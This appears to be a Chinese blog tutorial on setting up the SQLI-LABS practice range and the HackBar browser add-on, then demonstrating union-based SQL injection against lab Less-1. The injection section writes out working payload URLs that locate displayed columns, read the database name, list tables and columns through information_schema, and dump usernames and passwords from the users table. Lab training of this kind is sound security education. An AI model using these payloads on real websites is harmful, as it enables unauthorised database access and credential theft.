SQLI-LABS环境搭建及并进行拖库教程——解决MySQL注释问题--+

1 SQLI-LABS专有靶场搭建

1.1 SQLI-LABS下载

SQLI-LABS 是一个学习 SQL 注入的实验平台
下载地址:https://github.com/Audi-1/sqli-labs

1.2 Lamp环境搭建

在centos上搭建LAMP环境,并关闭防火墙和selinux。
安装完成之后开启Apache和mysql。
环境搭建比较简单,这里不再赘述。

1.3 安装SQLI-LABS实验环境

在xhell中将压缩包上传至centos:
SQLI-LABS环境搭建及并进行拖库教程——解决MySQL注释问题--+_第1张图片
解压:
[root@localhost ~]# unzip sqli-labs-master.zip -d /var/www/html
改名字,这样便于我们访问:
[root@localhost ~]# mv /var/www/html/sqli-labs-master/ /var/www/html/sqli-labs
Apache服务默认运行的用户是apache,因此我们修改/var/www/html/目录下文件的所有者以使文件对apache用户可写:
[root@xuegod63 ~]# chown -R apache:apache /var/www/html/
注:-R:递归修改
[root@xuegod63 ~]# vim /var/www/html/sqli-labs/sql-connections/db-creds.inc
修改SQLI-LABS配置文件以连接数据库:
SQLI-LABS环境搭建及并进行拖库教程——解决MySQL注释问题--+_第2张图片
输入自己设置的用户名和密码即可(如果没有设置,默认无密码)。
:wq保存退出。
浏览器访问:http://192.168.1.119/sqli-labs/
点击安装数据库:
SQLI-LABS环境搭建及并进行拖库教程——解决MySQL注释问题--+_第3张图片
安装成功:
SQLI-LABS环境搭建及并进行拖库教程——解决MySQL注释问题--+_第4张图片
点击后退,到此环境搭建成功:
SQLI-LABS环境搭建及并进行拖库教程——解决MySQL注释问题--+_第5张图片

2 更新kali火狐浏览器并安装hackbar插件

2.1 卸载Firefox浏览器并安装新版

更新原因:Kali 中自带的 Firefox 安装插件存在一定的问题会导致插件安装失败。我们到官网下载新
版本的 Firefox。
卸载旧版本浏览器
root@kali:~# rm -rf /usr/lib/firefox-esr
root@kali:~# rm -rf /usr/lib/firefox-bin
root@kali:~# rm -rf /usr/lib/firefox
root@kali:~# rm -rf /usr/bin/firefox

下载最新版本 firefox
https://www.mozilla.org/zh-CN/firefox/new/
注:67版本的可用,如果你的版本高于67则不需要更新
上传压缩包到kali,解压:
root@kali:~# tar -jxvf firefox-67.0.4.tar.bz2 -C /usr/lib/ #解压 firefox 到 /usr/lib/目录下
在这里插入图片描述
创建软链接
root@xuegod53:~# ln -s /usr/lib/firefox/firefox /usr/bin/firefox
root@xuegod53:~# firefox & #运行火狐浏览器 &:后台运行
或:
创建快捷启动方式,新建文件添加以下内容
root@xuegod53:~# vim /usr/share/applications/firefox.desktop

[Desktop Entry]
Version=666
Name=firefox
Name[zh_CN]=firefox-浏览器
Exec=firefox
Terminal=false
Type=Application
Icon=firefox
SQLI-LABS环境搭建及并进行拖库教程——解决MySQL注释问题--+_第6张图片
:wq保存退出
这时候打开应用程序列表可以找到Firefox,并可以把它拖到收藏夹:
SQLI-LABS环境搭建及并进行拖库教程——解决MySQL注释问题--+_第7张图片

2.2 安装hackbar插件

上传hackbar压缩包并解压:
root@kali:~# unzip hackbar2.1.3-master.zip
SQLI-LABS环境搭建及并进行拖库教程——解决MySQL注释问题--+_第8张图片
root@kali:~# ls hackbar2.1.3-master
{4c98c9c7-fc13-4622-b08a-a18923469c1c}.xpi img README.md
打开Firefox浏览器:
SQLI-LABS环境搭建及并进行拖库教程——解决MySQL注释问题--+_第9张图片
SQLI-LABS环境搭建及并进行拖库教程——解决MySQL注释问题--+_第10张图片
SQLI-LABS环境搭建及并进行拖库教程——解决MySQL注释问题--+_第11张图片
SQLI-LABS环境搭建及并进行拖库教程——解决MySQL注释问题--+_第12张图片
SQLI-LABS环境搭建及并进行拖库教程——解决MySQL注释问题--+_第13张图片
关闭自动更新:
SQLI-LABS环境搭建及并进行拖库教程——解决MySQL注释问题--+_第14张图片
SQLI-LABS环境搭建及并进行拖库教程——解决MySQL注释问题--+_第15张图片
按下F12,看到这个页面说明安装成功了:
SQLI-LABS环境搭建及并进行拖库教程——解决MySQL注释问题--+_第16张图片

3 SQL注入实战演示

3.1 爆出字段的显示位置

在 kali 中打开 firefox 浏览器,并访问 http://192.168.1.119/sqli-labs/
打开less1:
SQLI-LABS环境搭建及并进行拖库教程——解决MySQL注释问题--+_第17张图片
SQLI-LABS环境搭建及并进行拖库教程——解决MySQL注释问题--+_第18张图片
打开hackbar,根据提示输入ID参数:
SQLI-LABS环境搭建及并进行拖库教程——解决MySQL注释问题--+_第19张图片
点击execute执行:
SQLI-LABS环境搭建及并进行拖库教程——解决MySQL注释问题--+_第20张图片
输入以下内容来爆出字段显示位置
http://192.168.1.119/sqli-labs/Less-1/?id=-1’ union select 1,2,3–+
在sql中单行注释有两种:
1、-- 后面必须有一个空格
2、#
因为在url中直接输入空格并不能传递到后端sql语句中,
其中,+在url中表示空格,因此可以使–有效注释掉后面的SQL语句。
或:–’使用单引号使sql中的’闭合
由于#在URL中有特殊含义,因此也可以使用#的URL编码,将–+替换成%23
Id=后面的所有内容被传送到后端,id=-1的时候,查询不到相应数据行,因此返回0行,用union使得查询到的内容仅为后面select返回的内容,select 1,2,3查询到的内容仅为1行:1 2 3
SQLI-LABS环境搭建及并进行拖库教程——解决MySQL注释问题--+_第21张图片
发现用户名和密码的字段分别是2和3

3.2 获取数据库名称

Database():数据库内置函数,可以获取当前数据库名称:
http://192.168.1.119/sqli-labs/Less-1/?id=-1’ union select 1,database(),3–’
SQLI-LABS环境搭建及并进行拖库教程——解决MySQL注释问题--+_第22张图片
Database()函数放到2所在的字段,因此显示在用户名的位置。

3.3 列出当前数据库的所有数据表

http://192.168.1.119/sqli-labs/Less-1/?id=-1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()–+
Group_concat:将多个字段连接成一个字段
information_schema:MySQL自带的数据库,提供了访问数据库元数据的方式。元数据就是关于数据的数据,如数据库名或表名,列的数据类型和访问权限等。
查看information_schema中的数据表:
SQLI-LABS环境搭建及并进行拖库教程——解决MySQL注释问题--+_第23张图片
tables是information_schema的一个数据表,其中包含的字段有:
SQLI-LABS环境搭建及并进行拖库教程——解决MySQL注释问题--+_第24张图片
SQLI-LABS环境搭建及并进行拖库教程——解决MySQL注释问题--+_第25张图片
查询到了 4 个表名称分别是:emails,referers,uagents,users

3.4 获取users表中的字段名

http://192.168.1.119/sqli-labs/Less-1/?id=-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=‘users’ --+
columns表:给出了数据库中的数据表列信息
SQLI-LABS环境搭建及并进行拖库教程——解决MySQL注释问题--+_第26张图片

3.5 获取用户名和密码字段值

http://192.168.1.119/sqli-labs/Less-1/?id=-1’ union select 1,group_concat(0x3c,0x62,0x72,0x3e,username,0x3a,password),3 from users–+
0x3c,0x62,0x72,0x3e表示< br >,在html中用于换行。
0x3a表示冒号。
SQLI-LABS环境搭建及并进行拖库教程——解决MySQL注释问题--+_第27张图片

你可能感兴趣的:(SQL注入)